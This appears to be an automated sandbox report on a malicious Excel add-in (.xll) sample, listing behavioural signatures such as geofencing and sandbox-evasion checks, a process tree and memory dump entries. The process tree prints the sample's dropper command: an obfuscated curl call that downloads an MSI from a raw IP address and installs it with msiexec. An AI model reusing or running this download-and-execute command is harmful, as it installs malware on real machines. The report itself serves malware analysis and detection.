Analysis
- max time kernel
144s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20230915-en - resource tags
- submitted
26/09/2023, 04:38
General
- Target SecuriteInfo.com.Trojan.Win64.Alien.bzz.5417.18070.xll
- Size 12KB
- Sample230926-e9dh7sfg98
- SHA256 167c0455c2aa485fc50e6062d10629ca84ae9af29296ccd5da60e4c66e6bbbe1
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 4 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.bzz.5417.18070.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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\??\c:\windows\system32\cmd.exec:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU03⤵
-
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C:\Windows\system32\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
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C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
SecuriteInfo.com.Trojan.Win64.Alien.bzz.5417.18070.xll
SecuriteInfo.com.Trojan.Win64.Alien.bzz.5417.18070.xll
memory/4112-12-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-42-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-2-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-6-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-3-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-7-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-8-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-9-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-10-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-11-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-0-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-13-0x00007FF84CD00000-0x00007FF84CD10000-memory.dmp
memory/4112-5-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-1-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-14-0x00007FF84CD00000-0x00007FF84CD10000-memory.dmp
memory/4112-20-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-21-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-38-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-39-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-40-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-41-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-4-0x00007FF84F050000-0x00007FF84F060000-memory.dmp
memory/4112-43-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-45-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp
memory/4112-44-0x00007FF88EFD0000-0x00007FF88F1C5000-memory.dmp